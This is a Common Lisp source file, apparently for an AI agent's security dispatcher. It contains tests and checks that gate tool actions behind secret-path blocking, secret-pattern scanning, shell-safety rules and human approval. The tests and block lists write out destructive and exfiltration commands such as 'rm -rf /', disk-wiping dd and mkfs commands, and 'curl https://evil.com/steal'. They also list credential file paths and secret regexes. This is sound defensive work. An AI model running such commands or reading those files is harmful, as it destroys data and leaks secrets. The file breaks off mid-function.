Amr Gharbeia
8fd56dece3
Phase 1 — dedup + hardening (~9 items): - Remove duplicate *skill-registry* defvar from core-skills - Merge *backend-registry* into *probabilistic-backends*, delete backend-register - Remove inject-stimulus alias, standardize on stimulus-inject - Add pre-eval sandbox (skill-source-scan) blocks restricted symbols before eval - Remove dead plist-get function; remove duplicate json-alist-to-plist export - Fix read-framed-message whitespace DoS (4096-iteration max) - Add *read-eval* nil to dispatcher-approvals-process read-from-string (RCE) - Add test-op to ASDF; update .asd version 0.4.3→0.7.2 Phase 2 — prose + contracts + reorder: - Split ROADMAP: 2623→1089 lines (TODO only), CHANGELOG: 260→1528 lines (full DONE history, 14 versions reverse chron) - Add Contracts + Overview to 6 channel files + embedding-native + programming-standards + symbolic-scope - Reorder 28 .org files: Contract → Test Suite → Implementation (TDD order) - Add 7-phase inline prose to think() in core-reason - Expand USER_MANUAL: 183→461 lines (10 new sections) Phase 3 — decomposition + export organization: - Decompose think() into think-assemble-prompt, think-call-llm, think-parse-response orchestrator - Organize 188 exports into 16 grouped sections by module Phase 4 — budget enforcement + error protocol: - Per-session budget enforcement (SESSION_BUDGET_USD env var, budget-exhausted-p, guard in think-call-llm) - Error condition hierarchy (6 conditions: pipeline-error, llm-error, gate-error, budget-error, protocol-error) - Restarts in loop-process: skip-signal, use-fallback, abort-pipeline
741 lines
35 KiB
Common Lisp
741 lines
35 KiB
Common Lisp
(eval-when (:compile-toplevel :load-toplevel :execute)
|
|
(ql:quickload :fiveam :silent t))
|
|
|
|
(defpackage :passepartout-security-dispatcher-tests
|
|
(:use :cl :fiveam :passepartout)
|
|
(:export #:dispatcher-suite))
|
|
|
|
(in-package :passepartout-security-dispatcher-tests)
|
|
|
|
(def-suite dispatcher-suite :description "Verification of the Security Dispatcher")
|
|
(in-suite dispatcher-suite)
|
|
|
|
(test test-wildcard-match
|
|
"Contract 1: wildcard pattern * matches any characters."
|
|
(is (wildcard-match "*.env" ".env"))
|
|
(is (wildcard-match "*.env" "prod.env"))
|
|
(is (wildcard-match "*credential*" "my-credential-file"))
|
|
(is (wildcard-match "*.key" "id_rsa.key"))
|
|
(is (not (wildcard-match "*.env" "config.yaml"))))
|
|
|
|
(test test-check-secret-path
|
|
"Contract 2: dispatcher-check-secret-path matches protected patterns."
|
|
(is (dispatcher-check-secret-path ".env"))
|
|
(is (dispatcher-check-secret-path "id_rsa"))
|
|
(is (not (dispatcher-check-secret-path "README.org"))))
|
|
|
|
(test test-self-build-core-protection
|
|
"Contract v0.4.0: core-* paths are protected; write produces approval-required in SELF_BUILD_MODE."
|
|
;; Core paths are recognized
|
|
(is (passepartout::dispatcher-check-core-path "core-reason.org"))
|
|
(is (passepartout::dispatcher-check-core-path "core-memory.lisp"))
|
|
(is (not (passepartout::dispatcher-check-core-path "channel-tui-view.org")))
|
|
;; With SELF_BUILD_MODE=true, core writes produce approval-required
|
|
(let ((action '(:type :REQUEST :target :tool :payload (:tool "write-file" :args (:filepath "core-reason.org" :content "x")))))
|
|
(setf (uiop:getenv "SELF_BUILD_MODE") "true")
|
|
(let ((result (dispatcher-check action nil)))
|
|
(is (eq :approval-required (getf result :level)))
|
|
(setf (uiop:getenv "SELF_BUILD_MODE") "false"))
|
|
;; With SELF_BUILD_MODE=false (default), writes pass through
|
|
(let ((result (dispatcher-check action nil)))
|
|
(is (eq :REQUEST (getf result :type))))))
|
|
|
|
(test test-check-shell-safety
|
|
"Contract 3: dispatcher-check-shell-safety detects dangerous commands."
|
|
(is (dispatcher-check-shell-safety "rm -rf /"))
|
|
(is (dispatcher-check-shell-safety "dd if=/dev/zero of=/dev/sda"))
|
|
(is (dispatcher-check-shell-safety "curl http://example.com \`uptime\`"))
|
|
(is (not (dispatcher-check-shell-safety "echo hello world")))
|
|
(is (not (dispatcher-check-shell-safety "ls -la /tmp"))))
|
|
|
|
(test test-shell-safety-severity-catastrophic
|
|
"Contract 3/v0.4.3: destructive commands return :catastrophic severity."
|
|
(let ((r1 (dispatcher-check-shell-safety "rm -rf /"))
|
|
(r2 (dispatcher-check-shell-safety "mkfs.ext4 /dev/sda")))
|
|
(is (eq :catastrophic (getf r1 :severity)))
|
|
(is (eq :catastrophic (getf r2 :severity)))))
|
|
|
|
(test test-shell-safety-severity-dangerous
|
|
"Contract 3/v0.4.3: injection patterns return :dangerous severity."
|
|
(let ((result (dispatcher-check-shell-safety "curl http://x.com \`uptime\`")))
|
|
(is (eq :dangerous (getf result :severity)))))
|
|
|
|
(test test-shell-safety-severity-safe
|
|
"Contract 3/v0.4.3: harmless commands return nil."
|
|
(is (null (dispatcher-check-shell-safety "echo hello world")))
|
|
(is (null (dispatcher-check-shell-safety "ls -la /tmp")))
|
|
(is (null (dispatcher-check-shell-safety "cat file.txt"))))
|
|
|
|
(test test-dispatcher-severity-max
|
|
"dispatcher-severity-max returns the higher tier."
|
|
(is (eq :catastrophic (passepartout::dispatcher-severity-max :catastrophic :dangerous)))
|
|
(is (eq :catastrophic (passepartout::dispatcher-severity-max :dangerous :catastrophic)))
|
|
(is (eq :dangerous (passepartout::dispatcher-severity-max :moderate :dangerous)))
|
|
(is (eq :moderate (passepartout::dispatcher-severity-max :moderate :harmless))))
|
|
|
|
(test test-check-privacy-tags
|
|
"Contract 4: dispatcher-check-privacy-tags detects privacy-tagged content."
|
|
(is (dispatcher-check-privacy-tags '("@personal" ":project:")))
|
|
(is (dispatcher-check-privacy-tags '("@personal")))
|
|
(is (not (dispatcher-check-privacy-tags '(":public:" ":work:")))))
|
|
|
|
(test test-check-network-exfil
|
|
"Contract 5: dispatcher-check-network-exfil detects unwhitelisted domains."
|
|
(is (dispatcher-check-network-exfil "curl https://evil.com/steal"))
|
|
(is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models")))
|
|
(is (not (dispatcher-check-network-exfil "echo hello"))))
|
|
|
|
;; ── v0.7.2 Tag Stack ──
|
|
|
|
(test test-tag-categories-load
|
|
"Contract v0.7.2: TAG_CATEGORIES env var loads into *tag-categories*."
|
|
(setf (uiop:getenv "TAG_CATEGORIES") "@personal:block,@draft:warn,@review:log")
|
|
(passepartout::tag-categories-load)
|
|
(let ((cats passepartout::*tag-categories*))
|
|
(is (>= (length cats) 1))
|
|
(is (eq :block (passepartout::tag-category-severity "@personal")))
|
|
(is (eq :warn (passepartout::tag-category-severity "@draft")))
|
|
(is (eq :log (passepartout::tag-category-severity "@review"))))
|
|
(ignore-errors (setf (uiop:getenv "TAG_CATEGORIES") nil)))
|
|
|
|
(test test-tag-category-severity-unknown
|
|
"Contract v0.7.2: unknown tag returns nil."
|
|
(is (null (passepartout::tag-category-severity "@nonexistent-xxxx"))))
|
|
|
|
(test test-privacy-severity-block
|
|
"v0.7.2: dispatcher-privacy-severity returns :block for block-tagged content."
|
|
(setf passepartout::*tag-categories* '(("@personal" . :block)))
|
|
(is (eq :block (passepartout::dispatcher-privacy-severity '("@personal")))))
|
|
|
|
(test test-privacy-severity-warn
|
|
"v0.7.2: dispatcher-privacy-severity returns :warn for warn-tagged content."
|
|
(setf passepartout::*tag-categories* '(("@draft" . :warn)))
|
|
(is (eq :warn (passepartout::dispatcher-privacy-severity '("@draft")))))
|
|
|
|
(test test-privacy-severity-nil
|
|
"v0.7.2: dispatcher-privacy-severity returns nil for untagged content."
|
|
(setf passepartout::*tag-categories* nil)
|
|
(is (null (passepartout::dispatcher-privacy-severity '("public")))))
|
|
|
|
(test test-tag-trigger-record
|
|
"v0.7.2: tag-trigger-record increments per-tag count."
|
|
(clrhash passepartout::*tag-trigger-count*)
|
|
(passepartout::tag-trigger-record "@personal")
|
|
(passepartout::tag-trigger-record "@personal")
|
|
(passepartout::tag-trigger-record "@draft")
|
|
(is (= 2 (gethash "@personal" passepartout::*tag-trigger-count* 0)))
|
|
(is (= 1 (gethash "@draft" passepartout::*tag-trigger-count* 0)))
|
|
(clrhash passepartout::*tag-trigger-count*))
|
|
|
|
(test test-tag-categories-privacy-fallback
|
|
"v0.7.2: TAG_CATEGORIES falls back to PRIVACY_FILTER_TAGS when not set."
|
|
(let ((orig-tag (uiop:getenv "TAG_CATEGORIES"))
|
|
(orig-privacy (uiop:getenv "PRIVACY_FILTER_TAGS"))
|
|
(saved-tag (uiop:getenv "TAG_CATEGORIES"))
|
|
(saved-privacy (uiop:getenv "PRIVACY_FILTER_TAGS")))
|
|
;; Set PRIVACY_FILTER_TAGS, clear TAG_CATEGORIES
|
|
(sb-posix:setenv "PRIVACY_FILTER_TAGS" "@personal,@draft" 1)
|
|
(sb-posix:unsetenv "TAG_CATEGORIES")
|
|
(passepartout::tag-categories-load)
|
|
(is (eq :block (passepartout::tag-category-severity "@personal")))
|
|
(is (eq :block (passepartout::tag-category-severity "@draft")))
|
|
;; Restore
|
|
(when saved-tag (sb-posix:setenv "TAG_CATEGORIES" saved-tag 1))
|
|
(when saved-privacy (sb-posix:setenv "PRIVACY_FILTER_TAGS" saved-privacy 1))
|
|
(passepartout::tag-categories-load)))
|
|
|
|
(test test-safe-tool-read-only-auto-approve
|
|
"Contract v0.7.2: read-only tools pass dispatcher-check unconditionally."
|
|
(setf (gethash "test-ro-tool" passepartout::*cognitive-tool-registry*)
|
|
(passepartout::make-cognitive-tool :name "test-ro-tool"
|
|
:description "Read-only test"
|
|
:parameters nil
|
|
:guard nil
|
|
:body nil
|
|
:read-only-p t))
|
|
(unwind-protect
|
|
(let* ((action '(:TYPE :REQUEST :TARGET :tool
|
|
:PAYLOAD (:TOOL "test-ro-tool" :ARGS (:FILEPATH "/tmp/test"))))
|
|
(result (dispatcher-check action nil)))
|
|
(is (eq :REQUEST (getf result :type)))
|
|
(is (not (member (getf result :type) '(:LOG :approval-required)))))
|
|
(remhash "test-ro-tool" passepartout::*cognitive-tool-registry*)))
|
|
|
|
(test test-safe-tool-write-still-checked
|
|
"Contract v0.7.2: write tools still go through full dispatcher check."
|
|
(let ((orig-tool (gethash "write-file" passepartout::*cognitive-tool-registry*)))
|
|
(setf (gethash "write-file" passepartout::*cognitive-tool-registry*)
|
|
(passepartout::make-cognitive-tool :name "write-file"
|
|
:description "File writer"
|
|
:parameters nil
|
|
:guard nil
|
|
:body nil
|
|
:read-only-p nil))
|
|
(unwind-protect
|
|
(progn
|
|
(setf (uiop:getenv "SELF_BUILD_MODE") "true")
|
|
(let* ((action '(:TYPE :REQUEST :TARGET :tool
|
|
:PAYLOAD (:TOOL "write-file" :ARGS (:FILEPATH "core-reason.org" :CONTENT "x"))))
|
|
(result (dispatcher-check action nil)))
|
|
(is (eq :approval-required (getf result :level)))
|
|
(is (search "HITL" (getf (getf result :payload) :message)))))
|
|
(setf (uiop:getenv "SELF_BUILD_MODE") "false")
|
|
(if orig-tool
|
|
(setf (gethash "write-file" passepartout::*cognitive-tool-registry*) orig-tool)
|
|
(remhash "write-file" passepartout::*cognitive-tool-registry*)))))
|
|
|
|
(in-package :passepartout)
|
|
|
|
(defvar *dispatcher-network-whitelist*
|
|
'("api.telegram.org" "matrix.org" "googleapis.com" "openai.com" "anthropic.com")
|
|
"Domains the Dispatcher considers safe for outbound connections.")
|
|
|
|
(defvar *dispatcher-privacy-tags*
|
|
(let ((env (uiop:getenv "PRIVACY_FILTER_TAGS")))
|
|
(if env
|
|
(uiop:split-string env :separator '(#\,))
|
|
'("@personal")))
|
|
"Tags marking content as private. Set via PRIVACY_FILTER_TAGS.")
|
|
|
|
(defvar *dispatcher-protected-paths*
|
|
'(".env" ".env.example" ".env.local" ".env.production"
|
|
"*credentials*" "*cred*"
|
|
"*id_rsa*" "*id_dsa*" "*id_ecdsa*" "*id_ed25519*"
|
|
"*.pem" "*.key" "*.p12" "*.pfx" "*.asc" "*.gpg" "*.pgp"
|
|
"secring.*" "pubring.*" "private-keys-v1.d/*"
|
|
"token*" "*secret*" "*token*"
|
|
".netrc" ".git-credentials" "auth.json"
|
|
".aws/credentials" ".aws/config"
|
|
".kube/config" "kubeconfig"
|
|
"*.cert" "*.crt" "*.csr"
|
|
"*password*" "*passwd*")
|
|
"Path patterns blocked from file reads.
|
|
Core file protection (core-*.org, core-*.lisp) handled separately by
|
|
dispatcher-check-core-path for self-build safety.")
|
|
|
|
(defvar *dispatcher-exposure-patterns*
|
|
'((:pem-key "-----BEGIN +(RSA|DSA|EC|OPENSSH|PGP) +PRIVATE +KEY *-----")
|
|
(:pgp-key "-----BEGIN +PGP +PRIVATE +KEY +BLOCK-----")
|
|
(:pgp-public "-----BEGIN +PGP +PUBLIC +KEY +BLOCK-----")
|
|
(:openai-key "sk-[A-Za-z0-9-]{20,}")
|
|
(:google-key "AIza[0-9A-Za-z_-]{35}")
|
|
(:github-token "gh[pousr]_[A-Za-z0-9]{36,}")
|
|
(:slack-token "xox[baprs]-[A-Za-z0-9-]{24,}")
|
|
(:env-assignment "[A-Z_]+=[A-Za-z0-9+/=_\\-]{20,}")
|
|
(:generic-secret "(api|secret|password|token)[ ]*[:=][ ]*[\"']?[A-Za-z0-9_\\-]{16,}"))
|
|
"Named regex patterns for secret exposure detection.")
|
|
|
|
(defvar *dispatcher-shell-timeout* 30
|
|
"Maximum seconds for a shell command before timeout.")
|
|
|
|
(defvar *dispatcher-shell-max-output* 100000
|
|
"Maximum characters of shell output to capture.")
|
|
|
|
(defvar *dispatcher-shell-blocked*
|
|
'((:destructive-rm "\\brm\\s+-rf\\s+/" :severity :catastrophic)
|
|
(:destructive-dd "\\bdd\\s+if=" :severity :catastrophic)
|
|
(:destructive-mkfs "\\bmkfs\\." :severity :catastrophic)
|
|
(:disk-wipe "\\bshred\\s+/dev/" :severity :catastrophic)
|
|
(:disk-wipe-b "\\bwipefs\\s+/dev/" :severity :catastrophic)
|
|
(:injection-backtick "`[^`]+`" :severity :dangerous)
|
|
(:injection-subshell "\\$\\([^)]+\\)" :severity :dangerous))
|
|
"Destructive and injection patterns blocked in shell commands.
|
|
Each entry is (name regex :severity tier) where tier is one of:
|
|
:catastrophic, :dangerous, :moderate, :harmless.")
|
|
|
|
(defun wildcard-match (pattern path)
|
|
"Matches PATH against PATTERN where * matches any characters."
|
|
(let ((regex (cl-ppcre:regex-replace-all
|
|
"\\*" (cl-ppcre:quote-meta-chars pattern) ".*")))
|
|
(cl-ppcre:scan regex path)))
|
|
|
|
(defun dispatcher-check-core-path (filepath)
|
|
"Returns T if FILEPATH matches a core-* self-build protected pattern."
|
|
(when (and filepath (stringp filepath))
|
|
(or (and (>= (length filepath) 5) (string-equal (subseq filepath 0 5) "core-"))
|
|
(cl-ppcre:scan "core-.*\\.(org|lisp)" filepath))))
|
|
|
|
(defun dispatcher-check-secret-path (filepath)
|
|
"Returns the matching pattern if FILEPATH matches a protected path, nil otherwise."
|
|
(when (and filepath (stringp filepath))
|
|
(some (lambda (pattern)
|
|
(when (wildcard-match pattern filepath)
|
|
pattern))
|
|
*dispatcher-protected-paths*)))
|
|
|
|
(defun dispatcher-exposure-scan (text)
|
|
"Scans TEXT for patterns matching known secret formats.
|
|
Returns a list of matched category keywords."
|
|
(when (and text (stringp text) (> (length text) 0))
|
|
(let ((matches nil))
|
|
(dolist (entry *dispatcher-exposure-patterns*)
|
|
(let ((name (first entry))
|
|
(regex (second entry)))
|
|
(when (cl-ppcre:scan regex text)
|
|
(push name matches))))
|
|
matches)))
|
|
|
|
(defun dispatcher-vault-scan (text)
|
|
"Scans TEXT for known secrets from the vault."
|
|
(when (and text (stringp text))
|
|
(let ((found-secret nil))
|
|
(maphash (lambda (key val)
|
|
(when (and val (stringp val) (> (length val) 5))
|
|
(when (search val text)
|
|
(setf found-secret key))))
|
|
*vault-memory*)
|
|
found-secret)))
|
|
|
|
(defun dispatcher-check-privacy-tags (tags-list)
|
|
"Returns T if any tag in TAGS-LIST matches a privacy filter tag."
|
|
(when (and tags-list (listp tags-list))
|
|
(some (lambda (tag)
|
|
(some (lambda (private)
|
|
(or (string-equal tag private)
|
|
(search private tag :test #'string-equal)))
|
|
*dispatcher-privacy-tags*))
|
|
tags-list)))
|
|
|
|
(defvar *tag-categories* nil
|
|
"Alist of (tag . severity) from TAG_CATEGORIES env var.
|
|
Severity: :block (filter), :warn (log+include), :log (silent record).")
|
|
|
|
(defvar *tag-trigger-count* (make-hash-table :test 'equal)
|
|
"Per-session count of how many times each tag was triggered.")
|
|
|
|
(defun tag-trigger-record (tag)
|
|
"Increment the trigger count for TAG."
|
|
(incf (gethash (string-downcase tag) *tag-trigger-count* 0)))
|
|
|
|
(defun tag-categories-load ()
|
|
"Parse TAG_CATEGORIES or PRIVACY_FILTER_TAGS env var into *tag-categories* alist."
|
|
(let* ((raw (or (uiop:getenv "TAG_CATEGORIES")
|
|
(uiop:getenv "PRIVACY_FILTER_TAGS"))))
|
|
(setf *tag-categories*
|
|
(when raw
|
|
(mapcar (lambda (entry)
|
|
(let ((parts (uiop:split-string entry :separator '(#\:))))
|
|
(if (>= (length parts) 2)
|
|
(cons (first parts) (intern (string-upcase (second parts)) :keyword))
|
|
(cons entry :block))))
|
|
(uiop:split-string raw :separator '(#\, #\;)))))))
|
|
|
|
(defun tag-category-severity (tag)
|
|
"Return the severity keyword for TAG, or NIL if not found."
|
|
(cdr (assoc tag *tag-categories* :test #'string-equal)))
|
|
|
|
(defun dispatcher-privacy-severity (tags-list)
|
|
"Return the highest-severity tag match: :block > :warn > :log, or nil.
|
|
Records trigger counts for matched tags."
|
|
(when (and tags-list (listp tags-list))
|
|
(let ((highest nil))
|
|
(dolist (tag tags-list)
|
|
(let ((sev (tag-category-severity tag)))
|
|
(when sev
|
|
(tag-trigger-record tag))
|
|
(when (or (eq sev :block)
|
|
(and (eq sev :warn) (not (eq highest :block)))
|
|
(and (eq sev :log) (null highest)))
|
|
(setf highest sev))))
|
|
highest)))
|
|
|
|
(tag-categories-load)
|
|
|
|
(defun dispatcher-check-text-for-privacy (text)
|
|
"Scans TEXT for leaked privacy-tagged content."
|
|
(when (and text (stringp text))
|
|
(let ((lower (string-downcase text)))
|
|
(some (lambda (tag)
|
|
(search (string-downcase tag) lower))
|
|
*dispatcher-privacy-tags*))))
|
|
|
|
(defun org-blocks-extract (content)
|
|
"Extracts concatenated Lisp code from #+begin_src lisp blocks in an Org string."
|
|
(when (and content (stringp content))
|
|
(let ((lines (uiop:split-string content :separator '(#\Newline)))
|
|
(in-block nil)
|
|
(code ""))
|
|
(dolist (line lines)
|
|
(let ((clean (string-trim '(#\Space #\Tab) line)))
|
|
(cond
|
|
((search "#+begin_src lisp" clean)
|
|
(setf in-block t))
|
|
((search "#+end_src" clean)
|
|
(setf in-block nil))
|
|
(in-block
|
|
(setf code (concatenate 'string code line (string #\Newline)))))))
|
|
(when (> (length code) 0) code))))
|
|
|
|
(defun dispatcher-check-lisp-valid (filepath content)
|
|
"Validates Lisp syntax when writing .lisp files or Org files with lisp blocks.
|
|
Returns the validation result plist or nil if not applicable."
|
|
(when (and content (stringp content) (> (length content) 0))
|
|
(let ((to-validate
|
|
(cond
|
|
((uiop:string-suffix-p filepath ".lisp") content)
|
|
((uiop:string-suffix-p filepath ".org") (org-blocks-extract content))
|
|
(t nil))))
|
|
(when to-validate
|
|
(multiple-value-bind (valid-p err) (ignore-errors
|
|
(let ((*read-eval* nil))
|
|
(with-input-from-string (s (format nil "(progn ~a)" to-validate))
|
|
(loop for form = (read s nil :eof) until (eq form :eof)))
|
|
(values t nil)))
|
|
(unless valid-p
|
|
(list :status :error :reason err)))))))
|
|
|
|
(defun org-has-defuns-p (content)
|
|
"Returns T if the Org content contains any #+begin_src lisp blocks with defuns."
|
|
(when (and content (stringp content))
|
|
(search "defun " content :test #'char-equal)))
|
|
|
|
(defun dispatcher-check-repl-verified (action filepath content)
|
|
"Warns if writing a defun to an Org file without :repl-verified metadata."
|
|
(let ((repl-verified (getf action :repl-verified)))
|
|
(when (and filepath
|
|
(uiop:string-suffix-p filepath ".org")
|
|
(org-has-defuns-p content)
|
|
(not repl-verified))
|
|
(list :type :LOG
|
|
:payload (list :level :warn
|
|
:text (format nil "Lint: Writing defun to ~a without :repl-verified flag. Did you prototype this in the REPL first?" filepath))))))
|
|
|
|
(defun dispatcher-check-shell-safety (cmd)
|
|
"Checks a shell command for destructive patterns and injection vectors.
|
|
Returns (:matched <names> :severity <tier>) when dangerous patterns found,
|
|
or nil if safe. Severity is the highest tier among matched patterns:
|
|
:catastrophic > :dangerous > :moderate > :harmless."
|
|
(when (and cmd (stringp cmd) (> (length cmd) 0))
|
|
(let ((matches nil)
|
|
(severity :harmless))
|
|
(dolist (entry *dispatcher-shell-blocked*)
|
|
(let ((name (first entry))
|
|
(regex (second entry))
|
|
(tier (getf entry :severity)))
|
|
(when (cl-ppcre:scan regex cmd)
|
|
(push name matches)
|
|
(setf severity (dispatcher-severity-max severity (or tier :moderate))))))
|
|
(when matches
|
|
(list :matched matches :severity severity)))))
|
|
|
|
(defvar *dispatcher-severity-order*
|
|
(list :harmless 0 :moderate 1 :dangerous 2 :catastrophic 3)
|
|
"Severity tier ordering for comparison. Higher = more severe.")
|
|
|
|
(defun dispatcher-severity-max (a b)
|
|
"Returns the higher of two severity tiers."
|
|
(let ((ra (or (getf *dispatcher-severity-order* a) 0))
|
|
(rb (or (getf *dispatcher-severity-order* b) 0)))
|
|
(if (>= rb ra) b a)))
|
|
|
|
(defun dispatcher-check-network-exfil (cmd)
|
|
"Detects if CMD attempts to contact an unwhitelisted external host."
|
|
(when (and cmd (stringp cmd))
|
|
(multiple-value-bind (match regs)
|
|
(cl-ppcre:scan-to-strings "(http|https|ftp)://([\\w\\.-]+)" cmd)
|
|
(declare (ignore match))
|
|
(when regs
|
|
(let ((domain (aref regs 1)))
|
|
(not (some (lambda (safe) (search safe domain))
|
|
*dispatcher-network-whitelist*)))))))
|
|
|
|
(defun dispatcher-check (action context)
|
|
"Security gate for high-risk actions.
|
|
Eleven checks: 0=REPL-lint (warn-only), 1=lisp-validation, 2=secret-path,
|
|
2b=self-build-core, 3=secret-content, 4=vault-secrets, 5=privacy-tags,
|
|
6=privacy-text, 7=shell-safety, 8=network-exfil, 8b=high-impact-approval."
|
|
(declare (ignore context))
|
|
(let* ((read-only-auto-pass
|
|
(let ((tool-name (proto-get (proto-get action :payload) :tool)))
|
|
(when (and tool-name (tool-read-only-p tool-name))
|
|
(return-from dispatcher-check action))))
|
|
(target (proto-get action :target))
|
|
(payload (proto-get action :payload))
|
|
(text (or (proto-get payload :text) (proto-get action :text)))
|
|
(filepath (or (proto-get payload :filepath)
|
|
(when (equal (proto-get payload :tool) "read-file")
|
|
(proto-get (proto-get payload :args) :filepath))
|
|
(when (equal (proto-get payload :tool) "write-file")
|
|
(proto-get (proto-get payload :args) :filepath))))
|
|
(content (when filepath (proto-get (proto-get payload :args) :content)))
|
|
(cmd (or (proto-get payload :cmd)
|
|
(when (and (eq target :tool) (equal (proto-get payload :tool) "shell"))
|
|
(proto-get (proto-get payload :args) :cmd))))
|
|
(approved (proto-get action :approved))
|
|
(tags (proto-get payload :tags))
|
|
(lisp-valid (when (and filepath content (not approved))
|
|
(dispatcher-check-lisp-valid filepath content)))
|
|
(repl-lint (when (and filepath content (not approved))
|
|
(dispatcher-check-repl-verified action filepath content))))
|
|
(cond
|
|
(approved action)
|
|
|
|
;; Vector 0: REPL verification lint (warn, don't block)
|
|
(repl-lint
|
|
(log-message "DISPATCHER: ~a" (proto-get repl-lint :text))
|
|
action)
|
|
|
|
;; Vector 1: Lisp syntax validation (block bad lisp writes)
|
|
((and lisp-valid (eq (getf lisp-valid :status) :error))
|
|
(log-message "LINT VIOLATION: Blocked write — lisp syntax error in ~a: ~a" filepath (getf lisp-valid :reason))
|
|
(dispatcher-block-record :lisp-validation)
|
|
(list :type :LOG
|
|
:payload (list :level :error
|
|
:text (format nil "Lisp syntax error in ~a: ~a. The write was blocked. Fix the parenthesis balance and retry." filepath (getf lisp-valid :reason)))))
|
|
|
|
;; Vector 2: File read to a protected secret path
|
|
((and filepath (dispatcher-check-secret-path filepath))
|
|
(let ((matched (dispatcher-check-secret-path filepath)))
|
|
(log-message "SECURITY VIOLATION: Blocked read of protected path '~a' (matched: ~a)" filepath matched)
|
|
(dispatcher-block-record :secret-path)
|
|
(list :type :LOG
|
|
:payload (list :level :error
|
|
:text (format nil "Action blocked: Attempted read of protected path '~a'" filepath)))))
|
|
|
|
;; Vector 2b: Self-build safety — core file writes require HITL approval
|
|
((and filepath content
|
|
(string-equal (uiop:getenv "SELF_BUILD_MODE") "true")
|
|
(dispatcher-check-core-path filepath))
|
|
(log-message "SELF-BUILD: Core file write to '~a' requires approval" filepath)
|
|
(dispatcher-block-record :self-build-core)
|
|
(list :type :EVENT :level :approval-required
|
|
:payload (list :sensor :approval-required :action action
|
|
:message (format nil "Core file write blocked: '~a' requires HITL approval via Flight Plan." filepath))))
|
|
|
|
;; Vector 3: Content contains secret patterns
|
|
((and text (dispatcher-exposure-scan text))
|
|
(let ((matched (dispatcher-exposure-scan text)))
|
|
(log-message "SECURITY VIOLATION: Content contains secret patterns: ~a" matched)
|
|
(dispatcher-block-record :secret-content)
|
|
(list :type :LOG
|
|
:payload (list :level :error
|
|
:text "Action blocked: Content contains potential secret exposure."))))
|
|
|
|
;; Vector 4: Content contains vault secrets
|
|
((and text (dispatcher-vault-scan text))
|
|
(let ((secret-name (dispatcher-vault-scan text)))
|
|
(log-message "SECURITY VIOLATION: Blocked potential leak of secret '~a'" secret-name)
|
|
(dispatcher-block-record :vault-secrets)
|
|
(list :type :LOG
|
|
:payload (list :level :error
|
|
:text (format nil "Action blocked: Potential exposure of '~a'" secret-name)))))
|
|
|
|
;; Vector 5: Privacy-tagged content (severity tiers)
|
|
((and tags (fboundp 'dispatcher-privacy-severity))
|
|
(let ((severity (dispatcher-privacy-severity tags)))
|
|
(cond
|
|
((eq severity :block)
|
|
(log-message "PRIVACY VIOLATION: Blocked by @tag — ~a" tags)
|
|
(dispatcher-block-record :privacy-tags)
|
|
(list :type :LOG
|
|
:payload (list :level :error
|
|
:text (format nil "Action blocked: Content tagged with privacy filter (~a)." tags))))
|
|
((eq severity :warn)
|
|
(log-message "PRIVACY WARNING: @tag ~a (allowed with warning)" tags)
|
|
action)
|
|
((eq severity :log)
|
|
(log-message "PRIVACY: @tag ~a (logged)" tags)
|
|
action))))
|
|
|
|
;; Vector 6: Text leaks privacy tag names
|
|
((and text (dispatcher-check-text-for-privacy text))
|
|
(log-message "PRIVACY WARNING: Text may contain leaked private content")
|
|
(dispatcher-block-record :privacy-text)
|
|
(list :type :LOG
|
|
:payload (list :level :warn
|
|
:text "Action blocked: Text may reference private content.")))
|
|
|
|
;; Vector 7: Shell destructive/injection patterns
|
|
((and cmd (dispatcher-check-shell-safety cmd))
|
|
(let ((matched (dispatcher-check-shell-safety cmd)))
|
|
(log-message "SHELL VIOLATION: Destructive or injection pattern in command: ~a" matched)
|
|
(dispatcher-block-record :shell-safety)
|
|
(list :type :LOG
|
|
:payload (list :level :error
|
|
:text (format nil "Shell command blocked: contains unsafe pattern ~a" matched)))))
|
|
|
|
;; Vector 8: Network exfiltration
|
|
((and (or (eq target :shell)
|
|
(and (eq target :tool) (equal (proto-get payload :tool) "shell")))
|
|
(dispatcher-check-network-exfil cmd))
|
|
(log-message "SECURITY WARNING: External network call detected. Queuing for approval.")
|
|
(dispatcher-block-record :network-exfil)
|
|
(list :type :EVENT :level :approval-required
|
|
:payload (list :sensor :approval-required :action action)))
|
|
|
|
;; Vector 8b: High-impact action approval
|
|
((or (member target '(:shell))
|
|
(and (eq target :tool) (member (proto-get payload :tool) '("shell" "repair-file") :test #'string=))
|
|
(and (eq target :emacs) (eq (proto-get payload :action) :eval))
|
|
(and (eq target :system) (eq (proto-get payload :action) :eval)))
|
|
(log-message "SECURITY: High-impact action requires approval: ~a" (or (proto-get payload :tool) target))
|
|
(dispatcher-block-record :high-impact-approval)
|
|
(list :type :EVENT :payload (list :sensor :approval-required :action action)))
|
|
(t action))))
|
|
|
|
(defun dispatcher-approvals-process ()
|
|
"Scans for APPROVED flight plans and re-injects them."
|
|
(let ((approved-nodes (memory-objects-by-attribute :TODO "APPROVED"))
|
|
(found-any nil))
|
|
(dolist (node approved-nodes)
|
|
(let* ((attrs (memory-object-attributes node))
|
|
(tags (getf attrs :TAGS))
|
|
(action-str (getf attrs :ACTION)))
|
|
(when (and (member "FLIGHT_PLAN" tags :test #'string-equal) action-str)
|
|
(log-message "DISPATCHER: Found approved flight plan '~a'. Re-injecting..." (memory-object-id node))
|
|
(let ((action (ignore-errors (let ((*read-eval* nil)) (read-from-string action-str)))))
|
|
(when action
|
|
(setf (getf action :approved) t)
|
|
(stimulus-inject (list :type :EVENT
|
|
:payload (list :sensor :approval-required
|
|
:action action
|
|
:approved t)
|
|
:meta (list :source :system)))
|
|
(setf (getf (memory-object-attributes node) :TODO) "DONE")
|
|
(setq found-any t))))))
|
|
found-any))
|
|
|
|
(defun dispatcher-flight-plan-create (blocked-action)
|
|
"Creates a Flight Plan node for manual approval in Emacs."
|
|
(let ((id (remove #\- (princ-to-string (uuid:make-v4-uuid)))))
|
|
(log-message "DISPATCHER: Creating flight plan node '~a'..." id)
|
|
(list :type :REQUEST :target :emacs
|
|
:payload (list :action :insert-node :id id
|
|
:attributes (list :TITLE "Flight Plan: High-Risk Action"
|
|
:TODO "PLAN" :TAGS '("FLIGHT_PLAN")
|
|
:ACTION (format nil "~s" blocked-action))))))
|
|
|
|
(defvar *hitl-pending* (make-hash-table :test 'equal)
|
|
"Maps correlation token → blocked-action plist for pending HITL approvals.")
|
|
|
|
(defun hitl-create (blocked-action)
|
|
"Saves a blocked action for HITL approval. Returns a plist with
|
|
:token (the correlation ID) and :message (user-facing text)."
|
|
